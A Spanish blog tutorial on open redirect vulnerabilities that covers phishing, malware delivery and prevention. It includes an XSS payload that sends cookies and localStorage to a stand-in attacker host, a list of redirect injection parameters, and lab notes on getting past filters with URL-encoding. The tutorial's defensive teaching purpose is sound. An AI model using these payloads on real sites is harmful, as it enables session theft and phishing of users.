Vulnerabilidad Open Redirect: ejemplos y soluciones

     La vulnerabilidad conocida como redirección abierta, o también referida como Open Redirect, es una problemática recurrente en aplicaciones web que permite a ciberdelincuentes direccionar a usuarios hacia sitios web maliciosos. Dicha vulnerabilidad surge cuando una aplicación web posibilita que agresores manipulen la URL de una página de redireccionamiento con el propósito de enviar al usuario a un sitio de carácter pernicioso.

    Ilustrando este escenario, imaginemos una aplicación web que emplea un parámetro de redireccionamiento dentro de una URL, redirigiendo al usuario a un sitio externo tras autenticarse. Si esta URL no valida adecuadamente dicho parámetro y concede a ciberdelincuentes alterarlo, estos individuos pueden encaminar al usuario a un sitio web dañino, en lugar de la página legítima.

    Un ejemplo de cómo los ciberdelincuentes pueden aprovechar la vulnerabilidad de redirección abierta radica en la elaboración de correos electrónicos de phishing que aparentan ser legítimos. No obstante, en realidad contienen enlaces manipulados que redirigen a usuarios hacia un sitio web perjudicial. Los agresores recurren a tácticas de ingeniería social para persuadir al usuario de hacer clic en el enlace, valiéndose de ofertas atractivas o supuestas oportunidades exclusivas.

    Para prevenir la vulnerabilidad de redirección abierta, es fundamental que los programadores implementen medidas de seguridad adecuadas en su código. Entre estas se incluye la validación meticulosa de las URLs de redireccionamiento, así como la restricción de opciones de redirección únicamente hacia sitios web legítimos. Los desarrolladores pueden además aplicar técnicas de codificación segura para dificultar la manipulación de URLs. Esto comprende la codificación de caracteres especiales y la eliminación de caracteres inválidos.

Un ejemplo sencillo es asegurarse de que se está haciendo clic en:

buenejemplo.com

y no en algo del tipo:

malejemplo.com.malejemplo.com
malejemplo-com-malejemplo.com


Sin embargo,hay que saber cómo actuar en caso de acceder a un sitio que acepte el redireccionamiento, como por ejemplo:

buenejemplo.com/redir.php?q=malejemplo.com


Esto obliga a los desarrolladores y administradores de cualquier sitio a asegurarse de que su tecnología no puede ser usada para redireccionar al usuario a un sitio no deseado. Si no lo hacen, el redireccionamiento puede afectar de forma negativa a su reputación y perjudicar directamente a sus usuarios.

Esto es algo que sucede constantemente por razones tan simples como redirigir de la versión HTTP de un sitio a la versión HTTPS encriptada, o cuando los sitios cambian la posición de su punto de conexión de /oldapp a /newapp. Esta operación puede realizarse mediante la respuesta HTTP, en HTML o en JavaScript:

Respuesta HTTP:

HTTP/1.1 301 Moved Permanently
Location: https://www.example.com/newapp


HTML:

<meta http-equiv="refresh"
content="5;URL='https://www.example.com/newapp'"/>


JavaScript:

window.location.href = 'https://www.example.com/newapp'




Abuso malicioso del redireccionamiento


    Los ejemplos más simples de abuso de redireccionamiento de URL son la suplantación de identidad y la distribución de malware, secuencias de comandos entre sitios (XSS) mediante redireccionamientos, etc ...


• Suplantación de identidad

    
    Los ciberdelincuentes distribuyen enlaces maliciosos del correo electrónico, ya que permite presentar un señuelo. Los señuelos son el texto del correo electrónico, que proporciona un contexto y una llamada a la acción usada por un ciberdelincuente para convencer a su víctima de que haga clic en un enlace.

    Los ciberdelincuentes pueden suplantar identidades recreando el aspecto de un sitio de confianza en una ubicación maliciosa y esperando a que el usuario intente iniciar sesión. Por ejemplo, un ciberdelincuente podría alojar una imitación del sitio web de un banco en un dominio que controla. A continuación, el ciberdelincuente  podría diseñar una URL usando redireccionamientos abiertos en el sitio del banco para redirigir al usuario al sitio malicioso:

https://buenbanco.example.com/external-link.jspa?
url=https%3A%2F%2Fphishingexample.com/bancofraudulento


    En este ejemplo, el ciberdelincuente está abusando de goodbank.example.com para redireccionar a phishingejemplo.com/bancofraudulento, controlado por él mismo.


• Malware


    La distribución de malware a través de redireccionamientos abiertos es muy similar a la suplantación de identidad; la única diferencia es que el destino final es un archivo malicioso en lugar de una página impostora:

https://buenejemplo.example.com/exit.asp?
url=https%3A%2F%2Fmalwareejemplo.com/documento.pdf


    En este caso, buenejemplo.example.com tiene un redireccionamiento abierto que hace que el usuario descargue el archivo malicioso demalwareejemplo.com/documento.pdf


• XSS


    Los ciberdelincuentes también pueden abusar de la confianza inherente del navegador en el código procedente de la URL de origen. Se puede enviar JavaScript como destino del redireccionamiento, lo que hace que el navegador ejecute el código cuando lo devuelve al usuario. 

https://example.com/proxy.php?link=%3Cscript%3Eimage%20%3D%20new%20Image%28%29%3B%20image.src%3D%22https%3A%2F%2Fcollectionexample.com%2F%3Fc%3D%22%2Bdocument.cookie%2B%22ls%3D%22%2BJSON.stringify%28localStorage%29%3B%3C%2Fscript%3E

    La versión decodificada de la URL:

https://example.com/proxy.php?link=<script>image = new Image();
image.src="https://collectionexample.com/?c="+document.cookie+"ls="+JSON.stringify(localStorage);
</script>


    En este ejemplo, el navegador del usuario aceptará todas las cookies disponibles y la información almacenada a nivel local sobre example.com y la enviará al dominio controlado por el ciberdelincuente, collectionexample.com.


    Una forma común de explotar las vulnerabilidades de redirección abierta es inyectar una URL maliciosa como parámetro en la función de redirección de la aplicación. A continuación se presentan algunos parámetros de inyección comunes que se pueden utilizar para probar las vulnerabilidades de redirección abierta:


• ?next={payload}
• ?url={payload}
• ?target={payload}
• ?rurl={payload}
• ?dest={payload}
• ?destination={payload}
• ?redir={payload}
• ?redirect_uri={payload}
• ?redirect_url={payload}
• ?redirect={payload}
• /redirect/{payload}
• /cgi-bin/redirect.cgi?{payload}
• /out/{payload}
• /out?{payload}
• ?view={payload}
• / login?to={payload}
• ?image_url={payload}
• ?go={payload}
• ?return={payload}
• ?returnTo={payload}
• ?return_to={payload}
• ?checkout_url={payload}
• ?continue={payload}
• ?return_path={payload}


Ejemplo 1


Utilizaremos  3 proyectos de Github para desplegar los diferentes laboratorios



Este botón nos redirigió


y podríamos redirigirlo a donde queremos 



¿Qué podría ocurrir?
Podría ser utilizado para crear botnets, por ejemplo, crea una base de datos de paginas con esta vulnerabilidad para cuando alguien entre lo redirija por ejemplo a una web y haga una denegación de servicio.


Ejemplo 2



Al denegarnos algunos caracteres, los  url encodeamos el punto y luego el % por separado además de quitar las barras puesto que para dominios https no hace falta ponerlas *pero solo en estos casos*




Ejemplo 3


Del mismo modo podriamos reenviar a la descarga de pdf con distribucion de malware 




Ejemplo 4



Y del mismo modo URL encodeamos los caracteres especiales 




Cómo evitarlo

 
       La pregunta  es: ¿realmente necesitamos proporcionar un redireccionamiento? Si bien existen razones válidas para que una aplicación desee efectuar un seguimiento de los enlaces salientes, hay que tener en cuenta ciertas cuestiones de diseño adicionales para evitar que se produzcan abusos. 

    Si el redireccionamiento solo se realiza cuando la aplicación lo requiere, se eliminará la considerable superficie de ataque que supone la interacción del usuario. Si la aplicación no permite prescindir de dicha interacción, contar con una lista predefinida de URL para cotejar puede eliminar la posibilidad de que se inserten destinos maliciosos arbitrarios.

    Si se necesita un redireccionamiento basado en la interacción del usuario, es recomendable limitar los esquemas que se puedan usar en el redireccionamiento. Restringir la interacción a URL con http o https, por ejemplo, puede ayudar a limitar los riesgos de JavaScript que se han mencionado.

    Muchos de los redireccionamientos observados no efectúan una redirección a menos que el usuario haga clic en un enlace o pulse un botón dentro de la página. A menudo se presenta al usuario una advertencia visual en la que se le explica el riesgo que corre al seguir adelante.

No hay comentarios:

Publicar un comentario